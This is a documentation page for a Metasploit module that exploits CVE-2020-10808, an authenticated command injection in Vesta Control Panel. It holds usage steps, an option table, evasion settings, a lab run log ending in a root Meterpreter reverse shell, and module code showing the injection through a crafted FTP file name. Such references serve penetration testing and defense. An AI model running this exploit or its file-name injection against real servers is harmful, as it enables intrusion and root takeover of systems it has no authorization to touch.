Vesta Control Panel Authenticated Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/vestacp_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Vesta Control Panel Authenticated Remote Code Execution
Module: exploit/linux/http/vestacp_exec
Source code: modules/exploits/linux/http/vestacp_exec.rb
Disclosure date: 2020-03-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: ftp, http, https
Target network port(s): 21, 80, 443, 2121, 3000, 8000, 8008, 8080, 8083, 8443, 8880, 8888
List of CVEs: CVE-2020-10808

This module exploits an authenticated command injection vulnerability in the v-list-user-backups bash script file in Vesta Control Panel to gain remote code execution as the root user.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • first-attempt-fail: The module tends to fail to get a session on the first attempt.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

msf > use exploit/linux/http/vestacp_exec
msf exploit(vestacp_exec) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: The username to login as

  • PASSWORD: The password to login with

Knowledge Base

Vulnerable Application

This module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user.

To exploit this vulnerability, an authenticated attacker with low privileges can request VestaCP backup a file whose file name starts with a '.', followed by the ';' character to escape the current command, and finally the command they wish to execute. During the user backup process, this file name will be evaluated by the v-backup-user bash script, which will not perform appropriate input validation prior to passing this file name to an eval() call. As result, when an attacker tries to list existing backups the injected command will be executed by the v-backup-user bash script and will result in the attacker's injected command being executed as the root user.

Installing the Vulnerable Application on Ubuntu 18.03 LTS

You can install Vesta Control Panel on Ubuntu 18.04 LTS server with the following commands:

ssh [email protected]
curl -O http://vestacp.com/pub/vst-install.sh
bash vst-install.sh

Once you have finished the installation, perform the following actions in order to create a unprivileged user:

1 - Go to https://IP ADDR:8083/

2 - Login with your administrator account.

3 - Click on the "User" section under the top navigation menu. When you move your mouse over the text for the "User" section, it will turn orange. This is the link that you need to click!

4 - The URL in your browser should now be https://IP ADDR:8083/list/user/

5 - Click on the green plus sign on the left side of the page. When you move your mouse over this button, it will say "ADD USER".

6 - In the following user creation form that appears, enter values for the "user", "password", "email", "first name", and "last name" fields. Leave package and language options as is, as these fields do not affect exploitation.

7 - Log out of your admin account.

8 - Browse to https://IP ADDR:8083/

9 - Verify that the new low privileged user has been created and that you can log in using their credentials.

Verification Steps

A successful check of the exploit will look similar to the output shown below:

  1. Start msfconsole
  2. use exploit/linux/http/vestacp_exec
  3. Set RHOST
  4. Set LHOST
  5. Set USERNAME
  6. Set PASSWORD
  7. Set SRVHOST
  8. Set SRVPORT
  9. Run exploit
  10. Verify that you are seeing Successfully authenticated to the FTP service in the console.
  11. Verify that you are seeing Successfully uploaded the payload as a file name in the console.
  12. Verify that you are seeing Successfully authenticated to the HTTP Service in the console.
  13. Verify that you are seeing Scheduled backup has ben started. Exploitation may take up to 5 minutes. in the console.
  14. Verify that you are seeing It seems there is an active backup process ! Recheck after 30 second. Zzzzzz... in the console.
  15. Verify that you are seeing First stage is executed ! Sending 2nd stage of the payload in the console.
  16. Verify that you are getting a Meterpreter session.

Ubuntu 18.04 LTS with VestaCP 0.9.26

msf5 > use exploit/linux/http/vestacp_exec
msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218
RHOSTS => 192.168.74.218
msf5 exploit(linux/http/vestacp_exec) > set USERNAME user11
USERNAME => user11
msf5 exploit(linux/http/vestacp_exec) > set PASSWORD qwe123
PASSWORD => qwe123
msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1
LHOST => 192.168.74.1
msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1
SRVHOST => 192.168.74.1
msf5 exploit(linux/http/vestacp_exec) > set SRVPORT 8081
SRVPORT => 8081
msf5 exploit(linux/http/vestacp_exec) > run
[*] Exploit running as background job 32.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.74.1:4444
[*] 192.168.74.218:8083 - Using URL: http://192.168.74.1:8081/poSeL7s
msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s
[+] 192.168.74.218:21 - Successfully authenticated to the FTP service
[+] 192.168.74.218:21 - The file with the payload in the file name has been successfully uploaded.
[*] 192.168.74.218:8083 - Retrieving cookie and csrf token values
[+] 192.168.74.218:8083 - Cookie and CSRF token values successfully retrieved
[*] 192.168.74.218:8083 - Authenticating to HTTP Service with given credentials
[+] 192.168.74.218:8083 - Successfully authenticated to the HTTP Service
[*] 192.168.74.218:8083 - Starting scheduled backup. Exploitation may take up to 5 minutes.
[+] 192.168.74.218:8083 - Scheduled backup has been started !
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 192.168.74.218:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 192.168.74.218
[*] Meterpreter session 8 opened (192.168.74.1:4444 -> 192.168.74.218:58790) at 2020-04-11 14:35:23 +0300

msf5 exploit(linux/http/vestacp_exec) > sessions -i 8
[*] Starting interaction with 8...

meterpreter > shell
Process 42978 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
meterpreter > shell
[+] 192.168.74.218:8083 - It seems scheduled backup is done ..! Triggering the payload <3

#

Go back to menu.

Msfconsole Usage

Here is how the linux/http/vestacp_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/vestacp_exec

[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/vestacp_exec) > show info

       Name: Vesta Control Panel Authenticated Remote Code Execution
     Module: exploit/linux/http/vestacp_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-17

Provided by:
  Mehmet Ince <[email protected]>

Module side effects:
 ioc-in-logs
 config-changes
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 first-attempt-fail

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       The password to login with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8083             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The URI of the vulnerable instance
  URIPATH                     no        The URI to use for this exploit (default is random)
  USERNAME                    yes       The username to login as
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits an authenticated command injection 
  vulnerability in the v-list-user-backups bash script file in Vesta 
  Control Panel to gain remote code execution as the root user.

References:
  https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/
  https://nvd.nist.gov/vuln/detail/CVE-2020-10808

Module Options

This is a complete list of options available in the linux/http/vestacp_exec exploit:

msf6 exploit(linux/http/vestacp_exec) > show options

Module options (exploit/linux/http/vestacp_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8083             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the vulnerable instance
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME                    yes       The username to login as
   VHOST                       no        HTTP server virtual host

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the linux/http/vestacp_exec exploit:

msf6 exploit(linux/http/vestacp_exec) > show advanced

Module advanced options (exploit/linux/http/vestacp_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CHOST                                                                       no        The local client address
   CPORT                                                                       no        The local client port
   ConnectTimeout          10                                                  yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FTPDEBUG                false                                               no        Whether or not to print verbose debug statements
   FTPTimeout              16                                                  yes       The number of seconds to wait for a reply from an FTP command
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   PassiveMode             false                                               no        Set true for extended passive (EPSV) ftp mode.
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER                                                no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module

Payload advanced options (python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false            no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/http/vestacp_exec module can exploit:

msf6 exploit(linux/http/vestacp_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/vestacp_exec exploit:

msf6 exploit(linux/http/vestacp_exec) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   17  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   18  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   19  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options

Here is the full list of possible evasion options supported by the linux/http/vestacp_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/vestacp_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is unreachable.

Here is a relevant code snippet related to the "Target is unreachable." error message:

76:	      'method' => 'GET',
77:	      'uri' => normalize_uri(target_uri.path, 'login', '/')
78:	    })
79:	
80:	    unless res
81:	      fail_with(Failure::Unreachable, 'Target is unreachable.')
82:	    end
83:	
84:	    unless res.code == 200
85:	      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
86:	    end

Web server error! Expected a HTTP 200 response code, but got <RES.CODE> instead.

Here is a relevant code snippet related to the "Web server error! Expected a HTTP 200 response code, but got <RES.CODE> instead." error message:

80:	    unless res
81:	      fail_with(Failure::Unreachable, 'Target is unreachable.')
82:	    end
83:	
84:	    unless res.code == 200
85:	      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
86:	    end
87:	
88:	    if res.get_cookies.empty?
89:	      fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
90:	    end

Server returned no HTTP cookies

Here is a relevant code snippet related to the "Server returned no HTTP cookies" error message:

84:	    unless res.code == 200
85:	      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
86:	    end
87:	
88:	    if res.get_cookies.empty?
89:	      fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
90:	    end
91:	
92:	    @cookie = res.get_cookies
93:	    @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
94:

There is no CSRF token at HTTP response.

Here is a relevant code snippet related to the "There is no CSRF token at HTTP response." error message:

91:	
92:	    @cookie = res.get_cookies
93:	    @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
94:	
95:	    if @csrf_token.empty?
96:	      fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
97:	    end
98:	
99:	    print_good('Cookie and CSRF token values successfully retrieved')
100:	
101:	    print_status('Authenticating to HTTP Service with given credentials')

Target is unreachable.

Here is a relevant code snippet related to the "Target is unreachable." error message:

109:	        'password' => password
110:	      }
111:	    })
112:	
113:	    unless res
114:	      fail_with(Failure::Unreachable, 'Target is unreachable.')
115:	    end
116:	
117:	    if res.body.include?('Invalid username or password.')
118:	      fail_with(Failure::NoAccess, 'Credentials are not valid.')
119:	    end

Credentials are not valid.

Here is a relevant code snippet related to the "Credentials are not valid." error message:

113:	    unless res
114:	      fail_with(Failure::Unreachable, 'Target is unreachable.')
115:	    end
116:	
117:	    if res.body.include?('Invalid username or password.')
118:	      fail_with(Failure::NoAccess, 'Credentials are not valid.')
119:	    end
120:	
121:	    if res.body.include?('Invalid or missing token')
122:	      fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
123:	    end

CSRF Token is wrong.

Here is a relevant code snippet related to the "CSRF Token is wrong." error message:

117:	    if res.body.include?('Invalid username or password.')
118:	      fail_with(Failure::NoAccess, 'Credentials are not valid.')
119:	    end
120:	
121:	    if res.body.include?('Invalid or missing token')
122:	      fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
123:	    end
124:	
125:	    if res.code == 302
126:	      if res.get_cookies.empty?
127:	        fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')

Server returned no HTTP cookies

Here is a relevant code snippet related to the "Server returned no HTTP cookies" error message:

122:	      fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
123:	    end
124:	
125:	    if res.code == 302
126:	      if res.get_cookies.empty?
127:	        fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
128:	      end
129:	      @cookie = res.get_cookies
130:	    else
131:	      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
132:	    end

Web server error! Expected a HTTP 302 response code, but got <RES.CODE> instead.

Here is a relevant code snippet related to the "Web server error! Expected a HTTP 302 response code, but got <RES.CODE> instead." error message:

126:	      if res.get_cookies.empty?
127:	        fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
128:	      end
129:	      @cookie = res.get_cookies
130:	    else
131:	      fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
132:	    end
133:	  end
134:	
135:	  def start_backup_and_trigger_payload
136:	    #

/list/backup/ is reachable but replied message is unexpected.

Here is a relevant code snippet related to the "/list/backup/ is reachable but replied message is unexpected." error message:

174:	            sleep(30)
175:	          elsif res.body.include?('Task has been added to the queue.')
176:	            # Backup process is being initiated
177:	            print_good('Scheduled backup has been started ! ')
178:	          else
179:	            fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')
180:	          end
181:	        else
182:	          # The web server couldn't reply to the request within given timeout window because our payload
183:	          # executed in the background. This means that the res object will be 'nil' due to send_request_cgi()
184:	          # timing out, which means our payload executed!

/schedule/backup/ is not reachable.

Here is a relevant code snippet related to the "/schedule/backup/ is not reachable." error message:

184:	          # timing out, which means our payload executed!
185:	          print_good('Payload appears to have executed in the background. Enjoy the shells <3')
186:	          is_scheduled_backup_running = false
187:	        end
188:	      else
189:	        fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')
190:	      end
191:	    end
192:	  end
193:	
194:	  def payload_implant

Unable to authenticate to FTP service

Here is a relevant code snippet related to the "Unable to authenticate to FTP service" error message:

217:	    #
218:	    # Connecting to the FTP service with same creds as web ui.
219:	    # Implanting the very first stage of payload as a empty file.
220:	    #
221:	    if !connect_login
222:	      fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
223:	    end
224:	    print_good('Successfully authenticated to the FTP service')
225:	
226:	    res = send_cmd_data(['PUT', ".a';$(#{p});'"], '')
227:	    if res.nil?

Failed to upload the payload to FTP server

Here is a relevant code snippet related to the "Failed to upload the payload to FTP server" error message:

223:	    end
224:	    print_good('Successfully authenticated to the FTP service')
225:	
226:	    res = send_cmd_data(['PUT', ".a';$(#{p});'"], '')
227:	    if res.nil?
228:	      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload to FTP server')
229:	    end
230:	    print_good('The file with the payload in the file name has been successfully uploaded.')
231:	    disconnect
232:	
233:	    register_file_for_cleanup("/home/#{username}/.a';$(#{p});'")

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References

Authors

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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